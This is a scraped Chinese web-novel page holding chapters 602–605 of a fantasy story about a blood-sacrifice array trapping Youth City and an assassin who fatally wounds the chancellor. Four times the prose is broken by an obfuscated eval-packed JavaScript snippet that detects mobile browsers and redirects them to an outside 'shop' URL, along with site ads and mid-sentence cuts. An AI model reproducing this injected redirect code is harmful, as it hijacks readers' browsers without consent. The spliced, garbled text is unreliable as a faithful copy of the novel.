l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518524|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养猪还是朱幺胡说八道我们少年城自有信仰!大家别忘了少年城建立的初衷是什么!” 无数少年们错愕了一下随后纷纷恍然大悟齐声喝道: “斩妖除魔!!!” 云缺点点头一指远处被禁锢的群妖喝道: “我以少年王之名 发布第一份号令!少年城的兄弟们听真!今日入城之妖斩杀殆尽!” 无数少年纷纷振臂高呼。 “听令!!” 连史得侩也举拳大喝着听令。 云缺以高绝的心智击碎了朱幺的挑拨离间。 若是苦口婆心的解释非但难以短时间内让少年城的人信服反而容易被误以为云缺也是秦皇一伙的得不偿失。 而满城妖族则成了转移仇恨的最佳目标。 不管朱幺说什么先把城里的妖物宰了再说免得出现其他意外。 这群妖族的实力可不低若是失去禁锢之力绝对是一场灾难。 云缺一声号令少年城的众人纷纷出手杀向群妖。 史得侩速度最快第一个斩向一头蟒妖。 云缺也打算动手。 但云缺的目标不是妖族而是朱幺! 尽管站上了棋盘云缺愈发看不清这一局的棋路只觉得棋局晦涩难明如夜幕里的大海遍布暗流。 尤其一种危机感始终存在于云缺心头。 云缺看不出危机来自何处只能选择最简单的办法重创朱幺或者将其尽快除掉! 朱幺必定是一枚重要的棋子只要将其毁掉晦涩的棋路就能呈现出来。 正好朱幺被大儒强者困住正是动手的好时机。 在少年城的众人动手之时丞相左兰山也动手了。 区别极大。 史得侩等人是杀向了妖兽云缺要斩朱幺而左兰山则对着自己人下了手! 看完密旨的丞相忽然嘴角现出一抹意味难明的冷笑五指一张在其手心里竟迸溅出无数墨水。 墨水在空中组成了一个又一个古朴的文字互相串联形成墨迹锁链瞬间将送来密旨的影卫困住! 墨迹锁链密密麻麻宛如五花大绑每一个字迹上都澎湃着二品大儒的强大文气。 气息至强比封住朱幺的冰牢法术要可怕数倍! 左兰山的突然动手惊得赢财赢人志等人纷纷错愕一旁的马至远与段无病也大感意外愣在原地。 影卫可是秦皇专属的近卫军! 影卫不归任何人管辖只听从秦皇一人号令按理说连丞相与太尉也调不动人家。 突然对影卫出手丞相此举不亚于在挑战秦皇的威严! “丞相这是何意?影卫即便犯错也该由父皇处置丞相出手逾越了啊!”赢财在旁边提醒道。 “大人!影卫有何过错最好交由陛下发落!”马至远劝说道。 那影卫被墨迹锁链困住后没敢挣扎而是现出不解之色道: “属下奉旨而来半路毫无耽搁若有何过失还望大人明示。” 左兰山根本没理会大皇子与御史大夫一双老眼宛如苍鹰透着锋利之色瞥着影卫道: “你没有过失表现得也很好在老夫面前能如此稳重实属难得连密旨上的字迹都临摹得毫无破绽可惜啊 第602章 少年丹 听闻此言大皇子与马至远等人齐齐大惊。 冒充影卫? 这得多大的胆子! 还是在大秦丞相面前冒充! 这不是找死么! 赢财急忙后退几步一脸的惊疑不定赢人志也被吓到了躲在他大哥身后。 敢冒充影卫说明来者境界不低否则也没这个胆量假传圣旨。 那中年影卫并未挣扎保持着躬身的姿态道: “大人误会了属下确实是影卫今年初刚刚加入影卫十一队若大人不信可以即刻派人回皇城核查。” 此人语气平淡目光平静说得有板有眼连赢财马至远等人都有几分信了。 毕竟面对的是当世大儒大秦丞相影卫的这种冷静绝非强装出来的。 左兰山冷笑道: “今年确实有十人加入了影卫但没有你影卫九千七百人每个人的名字我都知道没有叫常疾的人。” “不仅影卫里没有你十万玄龙军也没有叫常疾之人百万虎贲军仍旧没有。” “别忘了 左兰山说完旁边的马至远与大皇子等人佩服不已。 影卫只有万人左右记住所有人的名字足够吃力玄龙军有十万虎贲军有百万! 人家丞相居然连百万虎贲军的所有名字都能记得下来。 事态发展到这里赢财与马至远等人几乎能断定面前的影卫就是假冒的! 名为常疾的影卫毫无吃惊之色依旧语气平淡的道: “大人事务繁多也许记错了人若是上了年纪免不得遗忘一些东西。” “哼。” 左兰山冷声道:“老夫的确年纪不小但还没到健忘的地步能在老夫的文气枷锁之下照常开口你的修为不低又能动用与影卫一模一样的影遁手段你至少是四品道门元婴修为甚至有可能达到了三品化神境。” 名为常疾的影卫发出呵呵低笑同时周身法力暴起! “三品化神都瞒不过你丞相大人果然厉害!” 一句果然厉害名为常疾的假影卫居然在周身浮现出密密麻麻的细小剑 影。 每一道剑影都如同蚂蚁大小,两两一组,与墨迹枷锁上的字迹撞击。 没有任何声音出现。 只有恐怖的法力波动在枷锁内起伏不休! 赢财急忙又退了几步,这位大皇子觉得心惊肉跳。 三品化神! 怎么少年擂上竟出怪事呢? 大秦的皇亲国戚们惊得脸色苍白,纷纷往后退,生怕被波及,尽管枷锁之外毫无气息外溢,可看着实在吓人。 左兰山稳稳的站在原地,距离那影卫只有两步距离。 这位大秦丞相表现出来的冷静与自信,让大皇子三皇子等人觉得心安。 三品化神的确可怕,但是比起二品大儒,算不上威胁。 “死心吧,老夫本命文气汇聚的笔墨枷锁,以你的修为,破不开。 左兰山冷声道:“说,到底谁让你假传圣旨,说出真相,老夫也许会给你留个全尸。 名为常疾的假影卫见挣脱不开,道: “我确实不是影卫,但密旨是真的,少年城,的确有诈。 左兰山目光一沉,喝斥道: “诈在何处! 名为常疾的假影卫忽然古怪一笑,道: “自然是在,少年城! 轰隆…… 随着影卫的声音,少年城的地面出现了晃动,轰轰闷响从地底传来,声音越来越大,越来越近! 正在砍杀妖兽的少年修士们,纷纷停下了动作,惊疑不定的左顾右盼,寻找响动的来源。 云缺已经到了朱幺附近,正准备动手,打算用妖刀往冰牢里捅个几百刀,死活再论。 结果地面传来的震动令云缺为之一顿。 轰隆隆!! 少年城的城墙外,突然黑风大起! 黑风围绕着整个城池,盘旋而上,汹涌如巨大的漩涡一般。 云缺目光一凝,眼珠直接转为竖瞳。 通过妖瞳,云缺看到了一条黑犬! 欺风犬被丞相重创之后,居然再次发难,搅动起能吞没少年城的黑色风暴。 云缺没有妄动。 三阶妖王不是那么好对付的,而且欺风犬搅起的风暴十分古怪,只是围住城池,并未朝着城内压来。 仿佛那妖王的目标不是城内众人,而是城外的什么东西。 伴随着黑色风暴,越来越多的轰鸣声出现。 一些巨大的黑色石柱在城外拔地而起,成千上万,将整个城池围拢。 黑风施虐中,少年城的人们隐约能看到黑柱的轮廓。 黑柱有丈许粗细,百丈高,犹如一条条漆黑的铁栏,组成了一座巨大的监牢。 少年城与城内的所有人,都被困在了牢笼之内! 黑色石柱的出现,令城内众人惊疑不定,大家都不知道发生了什么,怎么城外会有如此诡异的东西。 几个呼吸之后,地面停止了震荡。 黑风消散。 只留下城墙外上万的黑色石柱。 在人们惊疑的目光中,无数黑柱的表面上浮现出银色的光泽,如同有人拿着水壶往黑柱上洒水。 银光快速蔓延而下,组成了无数个晦涩的符文。 哒哒。 犬类的脚步声出现在一侧城头。 浑身漆黑的妖犬在城头上缓步而行,一双狗眼充满冰寒之意,其额头上裂开的第三只眼遍布猩红,无比狰狞,盯着城内的众人。 欺风犬的真身不算庞大,与一头健壮的猛虎相差不多,但是散发的妖气之强,让城内的少年们心惊胆战。 三阶妖王的威压,令城内被困住的上万妖物纷纷发出嘶鸣,仿佛在朝拜着王者。 欺风犬确实可怕,但其身上的伤口也十分惊人。 在狗背上,有一条血淋淋的剑痕,不断有鲜血在滴落。 那是丞相以儒生剑切开的伤口。 城外的黑色石柱,城墙上的恐怖妖王,此情此景,充满了阴森诡谲,令人不寒而栗。 云缺默默盯着城墙上的犬妖,心头在快速思索。 欺风犬明显在挑衅左兰山。 这头妖王在二品大儒面前毫无畏惧,不仅一直逗留在少年城,还弄出了一堆古怪的石柱。 尽管看不出石柱上的符文代表着什么,但云缺能猜到,围拢少年城的黑色石柱绝对是一座威力惊人的庞大法阵! 怪不得杂毛狗掉下擂台后消失了踪迹,原来这家伙在城外准备着大阵。 云缺正想到这里,欺风犬的形态开始变化起来。 从行走的犬妖,逐渐站立而起,变成了一道高大的人形,长脸灰发,身穿紫袍,额头上生着第三只眼。 云缺的目光直接盯在对方的袖口,果然看到了熟悉的字眼。 戌! 欺风犬走得并不快,在城墙上仿佛在散步,但每当走出一步,就会跨越五丈左右的距离。 少年修士们一时间忘记了斩妖,惊疑不定的盯着城墙上的紫袍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518525|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影。 说更新,记住域名qiexs?(请来企鹅小 说 看最新章节 完整章节) 左兰山的目光愈发冷冽,面带不屑之意,道: “将阵基深埋地底,确实是避人耳目的好办法,老夫倒要瞧一瞧,你们星辰殿究竟有什么能耐!” 说话间这位大秦丞相衣衫摆动,浑厚的文气散发开来。 由于左兰山的文气太过精纯磅礴,几乎凝聚成淡金之色,远远看去,左兰山仿佛是黑夜里的皓月,令人敬佩之余,甚至忍不住想要顶礼膜拜。 大儒之气,恐怖如斯! 城头上的戌狗发出低吼,很快完成了绕城一周的行走,随后阵道之力汹涌而出! 刺耳的嗡鸣大起! 黑色石柱之间出现了一条条银色细线,互相连接,组成了一座古老的大阵。 在城墙四角处,各自拔升了一座黑色石柱,再次升空百丈,其上的银色流光组成四个古老的文字。 金!木!水!火! 左兰山微眯双眼,沉声自语: “古法阵……” 即便博学如大秦丞相,仍旧认不出这座法阵的真相。 在左兰山的感知中,金木水火四种力量在少年城内汇聚,其压迫力无比惊人。 大阵被开启的同时,困于冰牢中的朱幺突然大喝一声,一座巨大的黑色石柱竟从他脚下拔地而起! 在石柱出现的瞬间,云缺直接动用影步后撤,挪移到远处。 云缺的感知比别人更加敏锐。 他察觉到脚下的法阵不仅庞大,还蕴含着一种难以言明的阴邪之感,极其凶险。 借助石柱的力量,朱幺破开了冰牢,踩在石柱顶端升空。 同时朱幺伸展双臂,凝炼出两只气机大手。 嘭嘭两声! 一只气机大手抓住了柳真真,另一只掐住了史得侩。 轰鸣声中,位于少年城中心的黑色石 柱拔升到百丈之高,柳真真与史得侩也被抓到了半空。 一切发生在瞬息之间。 少年城的城主与大将军,轻而易举被人家抓获。 “城主!” “大将军!” 少年城的众人纷纷惊呼,想要去援助却无能为力。 朱幺可是三品强者,即便能爬上去,也架不住人家一拳之力。 云缺仰头望着高空,一双竖瞳中现出疑惑。 朱幺以气机抓住了柳真真与史得侩,两人悬停在黑柱两侧,不断挣扎,难以脱困。 朱幺的如此举动,在云缺看来多此一举。 如果朱幺要泄愤,直接在地面动手就是了,以三品归真的全力,杀掉一个五品轻而易举,何必抓走两人。 而柳真真与史得侩是少年城的人,无法要挟左兰山,大秦丞相不会为了两个少年城的修士而放过朱幺。 城中的黑柱腾空之后,其上的银色流光很快组成了最后一个字。 土! 金木水火土,五行之力此刻完成了汇聚,埋于少年城的古老法阵终于被完全开启。 朱幺站在石柱顶端嘎嘎大笑,吼道: “我乃秦皇之人,今日奉旨炼化少年城!你们满城少年将成为陛下冲击超品的助力,认命吧诸位,你们的下场只有一个,那就是成为少年丹!” 随着朱幺的吼声,狂暴而古老的阵道气息,就此降临。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第603章 还有一位老少年 秦皇密旨,少年丹,古法阵…… 这些字眼合在一起,组成了一个令人心胆俱裂的答案。 祭品! 随着法阵的开启,整个少年城被笼罩在一股莫名恐怖的力量当中,人们动弹不得,满脸惊恐。 一丝丝血气从少年们的头顶飘出,被大阵之力抽取,汇聚在城中心的黑色石柱顶端。 少年城的修士们此刻心如死灰。 从小刻苦修炼,闻鸡起舞,为的是出人头地,扬名天下,少年城是无数少年们心目中的圣地,代表着少年人的不羁与倔强,代表着少年人的自由与傲然。 可如今, 这处圣地成了猪圈! 埋头苦修的少年们,成了一只只待宰的羔羊与猪猡! 等他们仰起头才终于发现,原来自己的人生没有任何意义,自己最大的用处便是成为丹药的一份养料。 惊恐的少年们,很快变成了愤怒。 原来这一切都是秦皇的算计,以数十万的少年修士,汇聚出一粒少年丹,供秦皇踏入超品! 越是愤怒,少年修士们头顶的血气就会越浓,被抽取的速度也越快。 石柱两侧, 悬于半空的柳真真与史得侩最为凄惨。 两个人不仅头顶有血气外溢,浑身上下仿佛被千百细针扎了个遍,不断往外溢出血气。 热热闹闹的少年擂,自此变成了一场血祭大典! 城内的所有少年,全部成为了祭品! 云缺也不例外,头顶有细密的血气不断被抽取。 这种气血的流失速度,云缺暂时扛得住,毕竟猎妖人的气血之力远超旁人。 扛得住一时,不代表扛得住太久,巨大的危机感笼罩在云缺心头。 棋盘上的棋路,云缺终于看清了。 但云缺觉得这棋路不对! 朱幺的说辞,能蛊惑其他少年,却骗不过云缺。 秦皇的确有动机图谋少年城,炼制满城少年修士为少年丹,用来冲击更高的境界。 身为一品强者,绝不会为了几十万人的生死而有所怜悯,境界越高就会越加冷酷的说法,云缺从凌妙清口中就已经听说过。 但秦皇绝非蠢人。 即便要炼制少年丹,何必在 大秦境内动手? 大秦近年来打下了许多国度随便找一个地方作为养猪场都行秘密豢养少年修士用来炼丹不仅方便还能避开天下人的悠悠众口。 秦皇得蠢到什么程度用自家国度的少年来炼丹那不是自掘根基吗。 少年城的少年修士尽管不认大秦可说到底这里的少年人绝大多数来自大秦各地。 以秦皇的心智 而且丞相就在城内。 秦皇若是炼制少年丹左兰山会一点也不知情么。 如果朱幺当真是秦皇之人左兰山就不会出现在少年城秦皇岂能蠢到自己给自己搬来个绊脚石。 还有更关键的这一点 城里除了少年修士被困还有一群妖兽即便有少年丹出世也绝不会精纯。 对于朱幺的说法云缺根本就不信。 但是满城的少年们却坚信不疑。 因为少年城始终与大秦抗衡是秦皇的心腹大患如今将满城少年炼化成丹药不但能让秦皇冲击更高的境界还能一举解决掉少年城这块心腹简直一箭双雕。 史得侩拼命挣扎大骂道: “狗皇帝不得好死!老子就算做鬼也不会放过他!” 史得侩越是挣扎身上的气血涌动得越快被抽出的气血随之变得更多。 柳真真很快发现了气血流失的速度与自身气血的调动有关她拼尽全力压制着身上的气血之力大喊道: “大将军别挣扎!你越挣扎气血会被更快抽光!” 史得侩根本不听继续骂道: “早死晚死都是个死!我先走一步化作厉鬼在外面等着城主与兄弟们!谁有不甘就变成厉鬼与我汇合!咱们化作鬼军杀上天龙城!” 朱幺站在高大的石柱上桀桀怪笑道: “好哇!陛下等着你们来做人把你们炼成少年丹做鬼把你们炼成鬼魂丹!嘿嘿奉劝你们一句想要死得痛快就调动浑身气血让大阵把你们一口气抽干否则就得慢慢死太遭罪喽嘎嘎嘎!!” 朱幺的声音听得满城少年们越发愤怒。 在惊怒交加之下少年们身上的气血变得 更加翻涌头顶溢出的血气越来越多。 整个少年城变成了一幅诡异的画面。 无数条气血之线从地面连接到石柱顶端远远看去宛如一座血色的大帐! 大帐之内是冷冰冰的残酷祭坛! 云缺稳了稳心神开始思索对策。 其他少年修士全都动弹不得但云缺还能动。 妖气的存在与完美金身是其他人无法比拟的存在。 法阵的威能太过可怕蕴含着五行之力给人一种天威般的压迫感。 云缺对于阵法并不熟悉虽然遇过几次也都是威力普通的法阵而已靠着妖刀完全可以破开。 这次不同。 云缺仔细感知着法阵内的气息越发觉得心惊。 法阵的气息有种极其古老的感觉仿佛来自于千百年前…… 突然间云缺悚然一惊。 这个古老的气息感觉云缺曾经见识过。 藏石镇地底的古怪石壁! 尽管两者截然不同但气息中那份透着无尽岁月的古老气息十分相似。 云缺脑海在快速转动 少年城里的庞大法阵绝非临时布置而成而是早已存在多年! 少年城建立之初这里是一片废墟柳真真曾经说过不会有假。 废墟的来历云缺不清楚。 但能肯定一点废墟的地底应该遗留着来自千百年的法阵遗迹。 星辰殿正是利用了埋藏在地底的法阵遗迹在法阵上方建立了少年城。 才有了如今的血祭危机。 难怪少年城的位置选得如此之差距离大秦皇城其实算不得太远若当真想要建立一个国中之国大可在大秦边缘地带建立少年城。 来自星辰殿的布局让云缺的心里再次变沉了几分。 借势而为借刀杀人这些阴狠毒辣的手段是星辰殿惯用的伎俩! 从挑拨大燕进攻北域妖都到挑唆大唐灭佛再到如今的少年丹星辰殿每次走出的棋路都令人不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529110|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒而栗! 短短瞬间而已云缺便想通了一切。 现在的局面太过危险尤其史得侩整个人跟个血葫芦似的 他一个人被抽取的血气,比一百个少年修士加起来都要多。 眼看着史得侩在快速虚弱下去,这家伙还在破口大骂。 蠢归蠢,史得侩的战力没得说,云缺可不想刚成为少年王就折损一员大将。 试了试踢动脚边的一块石块。 结果石块刚刚移动,就被法阵之力完全融化。 大阵之内,五行之力全部被压制,石头无效。 云缺取出一块灵石,一脚踢飞。 灵石划着一道弧线,砸在史得侩身上。 “老史你给我闭嘴!” 云缺喝道:“你叫史得侩,真想死得快是不是!压制气血之力,保存生机,朱幺明显在挑拨,你不会用脑子想想,秦皇得蠢到什么地步才能在大秦境内设立少年城,用自家子民来炼制少年丹!” 史得侩被灵石砸得一激灵。 他现在怒不可赦,根本不想用脑子考虑秦皇的目的,况且这时候他也没脑子了,不过既然少年王发话,史得侩选择了听话。 武夫就这点好处。 莽的时候如同野牛,谁也拦不住,一旦全心全意的敬佩一位王者,那就绝对听从号令。 就像军中悍卒,将军下达的军令有何目的,他们无需知晓也懒得思考,只听命就完了。 “好!我听少年王的!” 史得侩开始全力压制气血,身上冒出的血气随之大幅减少。 朱幺在石柱上狞笑道: “没用的,晚死一会儿又能如何,杀猪的时候,放血越慢,猪就越痛苦,何必呢。” 云缺点指高高在上的朱幺,傲气凛然的喝道: “想要将我们炼制成少年丹,真是瞎了你的猪心肝!天下少年,何惧一战!” 朱幺居高临下怪笑道: “好哇!再来战呐,老子等你们这群小肥猪!嘎嘎嘎!来呀少年们,别让我等久啦!” 云缺冷笑道: “瞧不起少年者,终将毙于少年手!有句俗话你可能没听过,男人至死为少年!你困住的不止是少年城的少年,还有一位老少年!有请丞相大人出手!” 云缺此言一出,左兰山的眼皮就是一跳。 从大阵出现开始,左兰山没有妄动,始终在感知着大阵的构造,寻找法阵弱点。 他越是感知,就越是心惊。 因为这种法阵太过古老,左兰山从未见过,极其陌生。 结果法阵弱点没找到呢,他这位大秦丞相先成了老少年,被人家驸马给推了出去。 左兰山心里这个气呀。 我在这绞尽心思要收你为手下,结果你先把我归为老少年了,我是老少年,你是少年王,我还得听你调遣是不是? 左兰山觉得云缺这家伙应该刚降生的时候就会占便宜,娘胎里带来的天赋。 天下间有很多特殊体质,什么玄灵之体,什么幽魂之体,什么五行之体,而云缺是最特殊也是最可恶的一种。 占便宜之体! 左兰山忍着怒意,准备出手。 第604章 二品不灭 古老的法阵太过玄奥诡异左兰山一时难以破开。 不过没关系只要斩杀了布阵之人留着大阵慢慢破解便是。 左兰山此刻杀意大起。 他将第一个击杀的目标选在了身旁被困在本命文气中的常疾。 假扮影卫的家伙最该死! 等将其击杀之后左兰山会先后灭杀掉朱幺与欺风犬。 仿佛感受到了来自大秦丞相的杀意朱幺与欺风犬齐齐出手。 朱幺以双掌拍向石柱中心 欺风犬则仰天嘶吼。 三阶妖王的吼声激发了城内妖族的气血数以万记的妖兽齐齐嘶吼从它们身上迸溅出大量的妖血被法阵快速吸收。 朱幺所在的石柱上方汇聚出一滴殷红的血珠好似极小的丹丸所有活物的气血纷纷朝着其中汇聚而来。 囚于笔墨锁链中的常疾也选择了此刻出手。 他周身围绕的无数小剑突然汇聚在一处组成了一柄三尺青锋! 此剑闪烁着青白之光剑刃却是通体漆黑并且环绕着无数细小的光点如果将光点放大即可看到每一个光点都是一张人脸! 或狰狞或扭曲或痛苦或哭嚎! “杀生剑!” 常疾冷喝着刺出一剑。 剑刃穿透了笔墨锁链直奔左兰山心口。 突然出现的剑光吸引了云缺的目光。 以竖瞳所见那就不是剑而是数以万计的亡魂所组成的杀伐之刃! 当杀生剑透出大儒强者的本命文气立刻散发出令人窒息的冰冷寒意周围的大皇子段无病等人甚至被冻僵在原地动弹不得! 对于杀伐云缺最为熟悉。 云缺杀的最多的是妖而非人所凝炼出的如山煞气也是由斩妖而来。 但那假冒影卫的黑衣人显然击杀过无数活人取无数亡魂祭炼成剑唯有如此阴邪的杀生剑才能破得开大儒的本命文气。 杀生剑来得极快瞬间到了左兰山面前。 然而大秦丞相早有预料始终留下一份神念提防着此人。 毕竟人家是三品化神以左兰山的老练岂能放松警惕。 面对阴邪至极的杀生剑,左兰山的应对极其特别,竟张口喷出一道白光! 白光犹如匹练,顷刻间化作一柄银白之剑,没有剑柄,古朴而玄奥,涌动着恐怖到惊人的儒家文气。 咔!!!!!! 脆响声炸起。 两柄同样神秘的长剑轰击在一起。 剑尖对剑尖,一时间竟凝固于半空。 左兰山背着双手,稳如泰山,冷哼道: “吾日三省吾身,吾剑百载归心,你的杀生剑不错,威力不凡,不过在老夫的归心剑下,不值一提! 咔嚓!咔嚓!咔嚓! 随着左兰山的冷语,假影卫的杀生剑寸寸断裂开来,化作一片碎屑! 二品大儒之力,此刻展现无遗! 三品化神强者的杀生剑,简简单单就被摧毁! 杀生剑一碎,赢财,马至远,段无病等人瞬间从冻僵状态中恢复。 众人惊疑不定,纷纷后退。 尽管对丞相的实力有着绝对的信心,还是离远点为妙。 三品化神可不是小角色,道家强者手段繁多,人家丞相不怕,大皇子等人岂能不怕。 杀生剑碎裂之后,假影卫错愕了一下,不甘心的挥拳砸去。 他本来就是握剑的姿态,剑碎之后,右手离着左兰山已经不远,想要趁机伤到左兰山。 结果拳头砸出的同时,归心剑也随之下斩。 咔嚓!!! 假影卫砸出的拳头,直接被归心剑斩开。 从手指开始,直至整个右臂,一分为二! 归心剑卡在假影卫的肩头,只要再落下几分,即可将此人一分两半! 裂开的手臂,看起来触目惊心,一半是两根手指,另一半是三根手指,犹如被劈开的木头。 马至远段无病等人看得头皮发麻,对丞相的手段更加畏惧。 三品化神在大儒强者面前,相当于柴火一样,说劈就劈啊! 云缺目睹了左兰山的手段,对那影卫不在担忧,将全部注意力放在朱幺身上。 云缺的肩头再次起伏妖气,手中的妖刀变得愈发漆黑,周身的煞气被尽数散开,用来抗衡大阵的威能。 云缺的打算与左兰山一样。 先斩杀朱幺与 欺风犬,除掉布阵之人,再想办法破阵。 无论什么大阵,只要失去控制,威能必定大减。 脚下掠动,云缺踏上了中心石柱,在石柱表面快速奔行。 奔行途中,云缺身上的妖气已经不再收敛,完全散发。 月魁的力量,被尽数调动! 不用妖魂的全力,难以战胜朱幺,如今的局面之下,云缺已经没有其他选择。 胜负的关键是左兰山。 云缺必须为丞相争取足够的时间,先拖住朱幺,让左兰山击杀掉欺风犬,再反杀朱幺,如此才是最佳顺序。 尽管与丞相不睦,现在只能联手。 否则别说满城少年容易尽数死掉,连云缺自己也有生死危机。 因为云缺无法确定,星辰殿的高手,究竟来了几位。 朱幺与欺风犬是戌狗和亥猪,那假影卫会不会也是十二生肖之一。 如果假影卫也是生肖高手,按照星辰殿两人一组的习惯,应该还有第四个人! 云缺在冲向朱幺,而左兰山的归心剑也开始切向假影卫的本体。 只是速度不快。 因为左兰山还有疑惑未解,他想知道假影卫的身份与这场危机的幕后黑手。 一位化神强者,绝非寂寂无名之辈。 左兰山神色冷冽的喝问道: “给你最后一个机会,说,你到底是何人。 名为常疾的假影卫萎靡不振,但是目光却一如既往的平静,面对丞相的杀意忽然笑了起来。 “呵呵……我是杀你的人。 左兰山目光一沉,不再犹豫,归心剑豪光暴起。 就在此刻,异象突起! 假影卫被斩开的右臂顶端,两片分开的手掌突然间合拢在一起,五指如刀,直接捅进了左兰山的左心。 噗!!!!!!!!! 手刀透心而过,从左兰山的后背穿了出来。 在大皇子与马至远等人看来,就好像丞相的后背长出了一只血淋淋的手掌! 时间,仿佛在此刻静止。 赢财呆若木鸡,赢人志张着大嘴,马至远脸色惨白,段无病瞠目结舌。 那可是大秦丞相! 二品大儒! 居然被手刀穿心! 云缺即将接近了石柱顶端,却在此刻猛然顿住,扭头朝着丞相的方向望去。 在看到左兰山被手刀穿心的画面后,云缺的心瞬间跌入谷底。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529111|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 大皇子等人或许尚未反应过来,想不通为何二品大儒会被如此算计,但云缺已经明悟。 那假影卫不仅是三品化神,还是武夫! “呵呵,呵呵呵呵…… 名为常疾的假影卫发出冷漠的低笑,目光中依旧平静如昔,没有任何戏虐,也没有任何得意,仿佛击杀一位二品大儒对他来说不过是举手之劳。 左兰山的脸色变得铁青,他缓缓低头。 没看心窝的伤口,看的,是对方的手臂。 在左兰山眼前,假影卫的手臂原本是裂开的,却在此刻合拢。 断开的骨头互相连接,瞬间生长在一起,细密的肉芽犹如野草般疯长,几个呼吸之间就将开裂的手臂恢复如初。 而归心剑,仍旧切在此人的肩头,就像长在了血肉里一般。 左兰山的瞳孔在快速晃动,眼中充满了震惊,他艰难的道出了几个字。 “你是,不灭武夫…… 不灭境,二品武夫! 左兰山此刻的心情,充满了震撼之余,还有着深深的自责。 他到底还是小觑了对手。 被对方的三品化神修为所蒙蔽,最终招来了杀身之祸。 谁能想到,一名假扮影卫的三品化神,居然同时还是二品武夫! 天下间道武双修者不在少数,可是二品武夫同时将道门境界修炼到三品化神的,几乎不存在! 左兰山并非大意,而是被对方如妖的心机所蒙蔽。 直至此刻,左兰山才恍然大悟。 原来从一开始,他就陷入了人家的算计当中! 送来密旨,人家就是想要被他禁锢在身边,以三品化神修为做掩饰,在左兰山认为自己掌控大局,从而变得疏忽的时候痛下杀手。 毕竟在二品大儒面前,三品化神确实不够看的。 但是在大儒旁边,若是有一位二品武夫,那么不管这位大儒的修为是否达到二品巅峰,仍旧逃不过被击杀的命运。 因为武夫近身,即可击杀同阶! 望着大秦丞相的惨状 ,云缺的脑海里如同有雷音在轰鸣。 有生以来第一次,云缺见到了真正的二品武夫。 不灭境的恐怖,让云缺生出一种剧烈的震撼,被斩开的手臂居然能在瞬间复原,单单以手刀之力切进一位二品大儒的心窝! 假影卫此时用另一只手,拔出了卡在肩头的归心剑。 随着左兰山被重创,归心剑变得暗淡无光,化作点点星芒消散无踪。 左兰山的身体踉跄了一下,嘴角溢出血迹。 他手里的密旨随之飘落。 大秦一方的看台修建得较高,密旨落下之后飘飘荡荡,好似落叶,其上的字迹也随之改变。 位于看台附近的人们恰好能看到密旨上的内容。 仍旧是一行字,但不是之前的少年城有诈,而是变成了: ‘少年城大祭尽快开启,朕需血丹之力相助。’ 尽管离着很远,云缺仍旧以血瞳看清了密旨上的字迹。 这一刻,云缺终于明悟了这步棋路的真相。 星辰殿以少年城数十万少年修士之命,祭炼血丹,嫁祸秦皇! 随着密旨的飘落,大阵之力突然强大了数倍,少年们的气血被快速抽取,大地轰鸣不断,城墙相继开裂坍塌…… 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 第605章 短命帝君可笑至极 天龙城,丞相府。 府中一间密室之内,灯火通明,十余名修为不俗的白衣家丁驻守于此,即便午夜也一眼不眨。 密室十分宽敞,其内摆放着一件硕大的沙盘,其上山川林立,河道纵横,城池遍布。 如果仔细辨认即可看出,其上的每一座城镇,都在云州地图上有着相应对的位置,分毫不差。 这座沙盘,便是大秦丞相险些毙命才得来的重宝,地动仪。 白衣家丁均为丞相的心腹,负责日夜看守此地。 密室里安静无声,唯有地动仪上细小的河流在涓涓流淌,发出轻微的水流之声。 忽然间,一种砖石碎裂的响动出现。 白衣家丁们豁然一惊,齐齐望向地动仪上的一处所在。 “少年城!” 一名白衣家丁惊呼起来。 地动仪上的少年城,正在缓慢的崩裂! “怎么回事!少年城为何会坍塌?” “现在应该是少年擂最后阶段,难道少年擂的打斗所致?” “不可能!少年擂再如何恶战,也不该出现摧毁城墙的情况。” “莫非是地龙翻身?” “大人亲临少年城,地龙翻身也可压制下去,不会让少年城坍塌。” 一众家丁惊疑不定,死死盯着城墙坍塌的规模。 最初是一面城墙碎裂,接着其他三面城墙也开始崩裂。 “不对……不对!一定出事了!大人既然在少年城,岂能让城池坍塌!” 一名年纪最大的白衣家丁面白如纸,疾呼道:“快!快去禀报陛下!” 两名白衣家丁闻言匆忙离开密室,直奔皇宫。 